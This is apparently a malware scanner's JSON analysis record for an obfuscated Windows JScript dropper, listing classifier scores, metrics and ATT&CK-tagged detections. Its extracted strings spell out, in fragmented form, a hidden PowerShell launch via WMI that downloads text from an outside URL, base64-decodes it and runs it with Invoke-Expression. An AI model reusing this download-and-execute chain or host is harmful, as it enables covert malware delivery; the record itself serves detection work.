{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 1.0,
        "class": 2
      }
    ],
    "prob": 1.0,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.9973869,
        "class": 1
      },
      {
        "m": "az/scripts",
        "prob": 1.0,
        "class": 1
      },
      {
        "m": "az/javascript",
        "prob": 1.0,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9983558,
      0.99991804
    ],
    "analyzed_at": "2026-05-17T21:58:54Z"
  },
  "path": "7815aacf7b61b714a62cd3e17a91130dda2f5ce4cd85a05e641c573aa9d8d1d7.js",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "O₂(Xe₂As)H₂(Os₂Po)",
        "k": {
          "source.imports[0]": "Belasco",
          "source.imports[1]": "GetObject",
          "source.imports[2]": "attenuance",
          "source.imports[3]": "attenuance.Get",
          "source.imports[4]": "attenuance.Get.SpawnInstance_",
          "source.imports[5]": "bepaints",
          "source.imports[6]": "bepaints.replace",
          "source.imports[7]": "cuproscheelite",
          "source.imports[8]": "doryrhamphus",
          "source.imports[9]": "doryrhamphus.ShowWindow",
          "source.strings[0]": "Mbareboneozbareboneillabarebone/5.0",
          "source.strings[1]": "Scripting.FileSystemObject",
          "source.strings[2]": "Usebareboner-Agentbarebone",
          "source.strings[3]": "WScript.Shell",
          "source.strings[4]": "Win32_Process",
          "source.strings[5]": "Win32_ProcessStartup",
          "source.strings[6]": "barebone$b6barebone4=$wbarebonec.DowbarebonenloabarebonedStbarebonerinbareboneg(",
          "source.strings[7]": "barebone$b6barebone4=$wbarebonec.DowbarebonenloabarebonedStbarebonerinbareboneg(\\",
          "source.strings[8]": "barebone$barebonewc.bareboneHeabareboneders.bareboneAdd(barebone",
          "source.strings[9]": "barebone$barebonewc.bareboneHeabareboneders.bareboneAdd(barebone\\'Usebareboner-Agentbarebone\\',\\'Mbareboneozbareboneillabarebone/5.0\\'); ",
          "source.has_imports": true,
          "source.imports[10]": "hoariest",
          "source.imports[11]": "parameterizes",
          "source.imports[12]": "parameterizes.Create",
          "source.imports[13]": "recusal",
          "source.imports[14]": "riskinesses",
          "source.imports[15]": "riskinesses.GetParentFolderName",
          "source.strings[10]": "barebone$wbarebonec=Nebarebonew-Objbareboneect bareboneSybarebonestbareboneem.Nbareboneet.WbareboneebbareboneClbareboneibareboneentbarebone; ",
          "source.strings[11]": "barebone-Cobarebonemmbarebone",
          "source.strings[12]": "barebone-Wbareboneinbarebone",
          "source.strings[13]": "bareboneNobarebonePrbarebone",
          "source.strings[14]": "barebone[Sybarebonestbareboneebarebonem.Tbareboneexbarebonet.Enbarebonecobarebonedibarebonenbareboneg]::UbareboneTFbarebone8.GebarebonetStrbareboneing([Sybarebonestebarebonem.bareboneCbareboneonvebarebonert]barebone:barebone:FromBbareboneasbarebonee64bareboneStbarebonering(barebone$b64barebone)) | bareboneInbarebonevobarebonekebarebone-Ebarebonexpbareboneressionbarebone",
          "source.strings[15]": "barebone[Sybarebonestbareboneebarebonem.Tbareboneexbarebonet.Enbarebonecobarebonedibarebonenbareboneg]::UbareboneTFbarebone8.GebarebonetStrbareboneing([Sybarebonestebarebonem.bareboneCbareboneonvebarebonert]barebone:barebone:FromBbareboneasbarebonee64bareboneStbarebonering(barebone$b64barebone)) | bareboneInbarebonevobarebonekebarebone-Ebarebonexpbareboneressionbarebone\"",
          "source.strings[16]": "bareboneanbareboned \"barebone",
          "source.strings[17]": "barebonedbareboneowbareboneStbarebone",
          "source.strings[18]": "bareboneebarebonerbarebonesbarebone",
          "source.strings[19]": "barebonehbareboneebarebonelbarebonel -barebone",
          "source.strings[20]": "bareboneibareboneddbareboneen barebone",
          "source.strings[21]": "bareboneobarebonefibarebonele barebone",
          "source.strings[22]": "barebonepbareboneobarebonewbarebone",
          "source.strings[23]": "bareboneybarebonele Hbarebone",
          "source.strings[24]": "https://ftp.superorganization.com.br/arquivo_20250819005547.txt",
          "source.strings[25]": "winmgmts:root",
          "source.strings[26]": "winmgmts:root\\\\cimv2"
        },
        "x": 149,
        "id": 0,
        "is": [
          "riskinesses",
          "recusal",
          "riskinesses.GetParentFolderName",
          "attenuance",
          "GetObject",
          "doryrhamphus",
          "attenuance.Get.SpawnInstance_",
          "attenuance.Get",
          "doryrhamphus.ShowWindow",
          "parameterizes",
          "attenuance.Get",
          "hoariest",
          "bepaints",
          "bepaints",
          "bepaints",
          "bepaints",
          "bepaints",
          "bepaints",
          "bepaints",
          "bepaints",
          "bepaints",
          "bepaints",
          "bepaints",
          "bepaints",
          "bepaints",
          "bepaints",
          "bepaints",
          "bepaints",
          "bepaints.replace",
          "Belasco",
          "cuproscheelite",
          "parameterizes.Create"
        ],
        "ms": {
          "file": {
            "size": 2158.0
          },
          "text": {
            "digit_ratio": 0.02,
            "space_count": 111.0,
            "total_lines": 30.0,
            "char_entropy": 4.61,
            "unique_chars": 75.0,
            "import_density": 106.67,
            "lines_over_200": 1.0,
            "string_density": 1.63,
            "avg_line_length": 69.93,
            "max_line_length": 398.0,
            "empty_line_ratio": 0.17,
            "last_line_length": 84.0,
            "long_token_count": 2.0,
            "most_common_char": "e",
            "whitespace_ratio": 0.08,
            "most_common_ratio": 0.15,
            "identifier_density": 1.77,
            "line_length_stddev": 72.74,
            "encoded_string_ratio": 0.04,
            "normalized_import_count": 5.84,
            "normalized_string_count": 8.95,
            "max_inline_whitespace_run": 1.0,
            "trailing_whitespace_lines": 3.0,
            "normalized_unique_identifiers": 2.45
          },
          "imports": {
            "total": 32.0,
            "unique_modules": 16.0,
            "third_party_count": 32.0,
            "third_party_ratio": 1.0
          },
          "strings": {
            "total": 49.0,
            "url_count": 2.0,
            "avg_length": 51.31,
            "max_length": 373.0,
            "avg_entropy": 3.12,
            "total_bytes": 2514.0,
            "entropy_stddev": 0.77,
            "base64_candidates": 2.0
          },
          "comments": {},
          "functions": {},
          "identifiers": {
            "total": 53.0,
            "avg_length": 9.92,
            "max_length": 14.0,
            "min_length": 7.0,
            "avg_entropy": 2.91,
            "reuse_ratio": 0.23,
            "unique_count": 12.0,
            "length_stddev": 2.5,
            "all_lowercase_ratio": 0.67
          }
        },
        "ss": [
          [
            36,
            "Scripting.FileSystemObject"
          ],
          [
            37,
            "Scripting.FileSystemObject"
          ],
          [
            167,
            "winmgmts:root\\\\cimv2"
          ],
          [
            168,
            "winmgmts:root"
          ],
          [
            183,
            "cimv2"
          ],
          [
            227,
            "Win32_ProcessStartup"
          ],
          [
            228,
            "Win32_ProcessStartup"
          ],
          [
            336,
            "Win32_Process"
          ],
          [
            337,
            "Win32_Process"
          ],
          [
            372,
            "https://ftp.superorganization.com.br/arquivo_20250819005547.txt"
          ],
          [
            373,
            "https://ftp.superorganization.com.br/arquivo_20250819005547.txt"
          ],
          [
            457,
            "barebonepbareboneobarebonewbarebone"
          ],
          [
            458,
            "barebonepbareboneobarebonewbarebone"
          ],
          [
            519,
            "bareboneebarebonerbarebonesbarebone"
          ],
          [
            520,
            "bareboneebarebonerbarebonesbarebone"
          ],
          [
            581,
            "barebonehbareboneebarebonelbarebonel -barebone"
          ],
          [
            582,
            "barebonehbareboneebarebonelbarebonel -barebone"
          ],
          [
            654,
            "bareboneNobarebonePrbarebone"
          ],
          [
            655,
            "bareboneNobarebonePrbarebone"
          ],
          [
            709,
            "bareboneobarebonefibarebonele barebone"
          ],
          [
            710,
            "bareboneobarebonefibarebonele barebone"
          ],
          [
            774,
            "barebone-Wbareboneinbarebone"
          ],
          [
            775,
            "barebone-Wbareboneinbarebone"
          ],
          [
            829,
            "barebonedbareboneowbareboneStbarebone"
          ],
          [
            830,
            "barebonedbareboneowbareboneStbarebone"
          ],
          [
            893,
            "bareboneybarebonele Hbarebone"
          ],
          [
            894,
            "bareboneybarebonele Hbarebone"
          ],
          [
            949,
            "bareboneibareboneddbareboneen barebone"
          ],
          [
            950,
            "bareboneibareboneddbareboneen barebone"
          ],
          [
            1014,
            "barebone-Cobarebonemmbarebone"
          ],
          [
            1015,
            "barebone-Cobarebonemmbarebone"
          ],
          [
            1070,
            "bareboneanbareboned \"barebone"
          ],
          [
            1071,
            "bareboneanbareboned \"barebone"
          ],
          [
            1128,
            "barebone$wbarebonec=Nebarebonew-Objbareboneect bareboneSybarebonestbareboneem.Nbareboneet.WbareboneebbareboneClbareboneibarebone"
          ],
          [
            1129,
            "barebone$wbarebonec=Nebarebonew-Objbareboneect bareboneSybarebonestbareboneem.Nbareboneet.WbareboneebbareboneClbareboneibarebone"
          ],
          [
            1296,
            "barebone$barebonewc.bareboneHeabareboneders.bareboneAdd(barebone\\'Usebareboner-Agentbarebone\\',\\'Mbareboneozbareboneillabarebone"
          ],
          [
            1297,
            "barebone$barebonewc.bareboneHeabareboneders.bareboneAdd(barebone"
          ],
          [
            1363,
            "Usebareboner-Agentbarebone"
          ],
          [
            1391,
            ","
          ],
          [
            1394,
            "Mbareboneozbareboneillabarebone/5.0"
          ],
          [
            1431,
            "); "
          ],
          [
            1460,
            "barebone$b6barebone4=$wbarebonec.DowbarebonenloabarebonedStbarebonerinbareboneg(\\"
          ],
          [
            1461,
            "barebone$b6barebone4=$wbarebonec.DowbarebonenloabarebonedStbarebonerinbareboneg("
          ],
          [
            1558,
            "\\'); "
          ],
          [
            1561,
            "); "
          ],
          [
            1590,
            "barebone[Sybarebonestbareboneebarebonem.Tbareboneexbarebonet.Enbarebonecobarebonedibarebonenbareboneg]::UbareboneTFbarebone8.Geb"
          ],
          [
            1591,
            "barebone[Sybarebonestbareboneebarebonem.Tbareboneexbarebonet.Enbarebonecobarebonedibarebonenbareboneg]::UbareboneTFbarebone8.Geb"
          ],
          [
            2052,
            "WScript.Shell"
          ],
          [
            2053,
            "WScript.Shell"
          ]
        ],
        "sz": 2158,
        "ts": [
          {
            "a": "T1047",
            "c": 0.75,
            "d": "Win32_Process WMI class",
            "e": [
              "Win32_Process"
            ],
            "i": "objectives/execution/wmi::win32-process-query",
            "l": 3,
            "m": "E1043"
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 30.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "a": "T1202",
            "c": 0.800000011920929,
            "d": "new ActiveXObject pattern",
            "e": [
              "new ActiveXObject("
            ],
            "i": "objectives/execution/activex/com::activex-object-create-literal",
            "l": 3,
            "m": "E1243"
          },
          {
            "a": "T1047",
            "c": 0.6000000238418579,
            "d": "GetObject WMI retrieval",
            "e": [
              "GetObject"
            ],
            "i": "objectives/execution/wmi::wmi-get-object",
            "l": 3
          },
          {
            "c": 0.800000011920929,
            "d": "Instantiates WScript.Shell object",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/os/wsh/file::wscript-shell-object",
            "l": 3
          },
          {
            "c": 0.800000011920929,
            "d": "WScript marker",
            "e": [
              "WScript"
            ],
            "i": "micro-behaviors/process/create/script/wsh::wscript-marker",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "JScript file type (WScript host)",
            "e": [
              "WScript"
            ],
            "i": "micro-behaviors/process/interpreter/jscript::is-jscript",
            "l": 1
          },
          {
            "a": "T1047",
            "c": 0.75,
            "d": "Process creation via Create",
            "e": [
              ".Create("
            ],
            "i": "objectives/execution/wmi::process-create-call",
            "l": 3,
            "m": "E1043"
          },
          {
            "c": 0.800000011920929,
            "d": "ActiveXObject marker",
            "e": [
              "ActiveXObject"
            ],
            "i": "micro-behaviors/process/create/script/wsh::activexobject-marker",
            "l": 1
          },
          {
            "a": "T1047",
            "c": 0.8999999761581421,
            "d": "WMI startup SpawnInstance symbol",
            "e": [
              "attenuance.Get.SpawnInstance_"
            ],
            "i": "objectives/execution/wmi::process-startup-spawninstance-symbol",
            "l": 1,
            "m": "E1043"
          },
          {
            "c": 0.8500000238418579,
            "d": "FileSystemObject ProgID string",
            "e": [
              "Scripting.FileSystemObject"
            ],
            "i": "micro-behaviors/os/com/object::filesystemobject-progid",
            "l": 3
          },
          {
            "a": "T1047",
            "c": 0.75,
            "d": "Win32_ProcessStartup config",
            "e": [
              "Win32_ProcessStartup"
            ],
            "i": "objectives/execution/wmi::process-startup-config",
            "l": 3,
            "m": "E1043"
          },
          {
            "c": 0.8999999761581421,
            "d": "HTTPS protocol prefix",
            "e": [
              "https://"
            ],
            "i": "micro-behaviors/communications/http/protocol::https-prefix",
            "l": 2
          },
          {
            "c": 0.6000000238418579,
            "d": "Scripting.FileSystemObject progid (WSH file I/O)",
            "e": [
              "FileSystemObject"
            ],
            "i": "objectives/execution/interpreter/scripting/host::filesystem-object-string",
            "l": 3
          },
          {
            "c": 0.6000000238418579,
            "d": "winmgmts WMI moniker (WSH WMI access)",
            "e": [
              "winmgmts:"
            ],
            "i": "objectives/execution/interpreter/scripting/host::winmgmts-string",
            "l": 3
          },
          {
            "c": 0.800000011920929,
            "d": "WScript.Shell object string",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/os/com/object::wscript-shell-literal",
            "l": 3
          },
          {
            "c": 1.0,
            "d": "ActiveXObject string presence",
            "e": [
              "ActiveXObject"
            ],
            "i": "micro-behaviors/process/interpreter/jscript::activex-object",
            "l": 3
          },
          {
            "a": "T1027",
            "c": 1.0,
            "d": "JavaScript or TypeScript source basename",
            "e": [
              "7815aacf7b61b714a62cd3e17a91130dda2f5ce4cd85a05e641c573aa9d8d1d7.js"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::js-ts-source-basename",
            "l": 1,
            "m": "B0032"
          },
          {
            "d": "WScript.ScriptFullName",
            "e": [
              "WScript.ScriptFullName"
            ],
            "i": "objectives/execution/interpreter/script/wsh::wscript-scriptfullname",
            "l": 3
          },
          {
            "c": 1.0,
            "d": "JavaScript file basename",
            "e": [
              "7815aacf7b61b714a62cd3e17a91130dda2f5ce4cd85a05e641c573aa9d8d1d7.js"
            ],
            "i": "metadata/lang/encoded/unicode-escape::javascript-or-dll-basename",
            "l": 2
          },
          {
            "c": 0.8500000238418579,
            "d": "ActiveXObject usage (JScript/VBScript)",
            "e": [
              "ActiveXObject("
            ],
            "i": "objectives/command-and-control/dropper/builder::activex-object-dup",
            "l": 1
          },
          {
            "a": "T1564.003",
            "c": 0.8600000143051147,
            "d": "WMI ShowWindow property symbol",
            "e": [
              "doryrhamphus.ShowWindow"
            ],
            "i": "objectives/execution/wmi::showwindow-assignment-symbol",
            "l": 1,
            "m": "E1003"
          },
          {
            "c": 0.8999999761581421,
            "d": "ActiveXObject instantiation call",
            "e": [
              "new ActiveXObject("
            ],
            "i": "objectives/execution/interpreter/script/wsh::activexobject-call",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "Tiny WScript.Shell fragment (variant 2a)",
            "e": [
              "WScri"
            ],
            "i": "objectives/execution/interpreter/script/wsh-fragments::wscript-shell-fragment-tiny-2a",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "Tiny WScript.Shell fragment (variant 2b)",
            "e": [
              "ipt.S"
            ],
            "i": "objectives/execution/interpreter/script/wsh-fragments::wscript-shell-fragment-tiny-2b",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.08"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.699999988079071,
            "d": "Small file under 5KB",
            "e": [
              "7815aacf7b61b714a62cd3e17a91130dda2f5ce4cd85a05e641c573aa9d8d1d7.js"
            ],
            "i": "objectives/supply-chain/metadata-anomaly/package/npm::small-file-5k",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Massive string concatenation operations",
            "e": [
              "+ 'bareboneebarebonerbarebonesbarebone'"
            ],
            "i": "objectives/anti-static/obfuscation/string/array::massive-string-concatenation",
            "l": 4,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "Hidden window execution",
            "e": [
              "ShowWindow = 0"
            ],
            "i": "objectives/execution/wmi::hidden-window-flag-dup",
            "l": 3,
            "m": "E1003"
          },
          {
            "a": "T1027",
            "c": 0.6000000238418579,
            "d": "No comments in code",
            "e": [
              "comments.total = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::no-comments",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1047, T1564.003",
            "c": 0.9200000166893005,
            "d": "WMI hidden process startup",
            "e": [
              "doryrhamphus.ShowWindow",
              "ShowWindow = 0",
              "attenuance.Get.SpawnInstance_",
              "GetObject"
            ],
            "i": "objectives/execution/wmi::wmi-hidden-startup-process",
            "l": 4,
            "m": "E1043"
          },
          {
            "a": "T1047",
            "c": 0.8500000238418579,
            "d": "WMI process execution",
            "e": [
              "Win32_Process",
              "winmgmts:",
              ".Create(",
              "Win32_ProcessStartup"
            ],
            "i": "objectives/execution/wmi::wmi-process-spawn",
            "l": 4,
            "m": "E1043"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Massive string concatenation operations",
            "e": [
              "+ 'bareboneebarebonerbarebonesbarebone'"
            ],
            "i": "objectives/anti-static/obfuscation/string/array::suspicious-massive-string-concatenation",
            "l": 4,
            "m": "B0032"
          },
          {
            "a": "T1047",
            "c": 0.8999999761581421,
            "d": "WMI fileless malware",
            "e": [
              "winmgmts:",
              "Win32_Process",
              "ShowWindow = 0",
              "Win32_ProcessStartup",
              ".Create("
            ],
            "i": "objectives/execution/wmi::wmi-fileless-malware",
            "l": 5,
            "m": "E1043"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Minified/compressed code (multiple indicators)",
            "e": [
              "text.whitespace_ratio = 0.08",
              "comments.total = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::minified-code",
            "l": 2,
            "m": "B0032"
          }
        ],
        "sha": "7815aacf7b61b714a62cd3e17a91130dda2f5ce4cd85a05e641c573aa9d8d1d7",
        "path": "7815aacf7b61b714a62cd3e17a91130dda2f5ce4cd85a05e641c573aa9d8d1d7.js",
        "type": "javascript"
      }
    ],
    "tv": "60127"
  }
}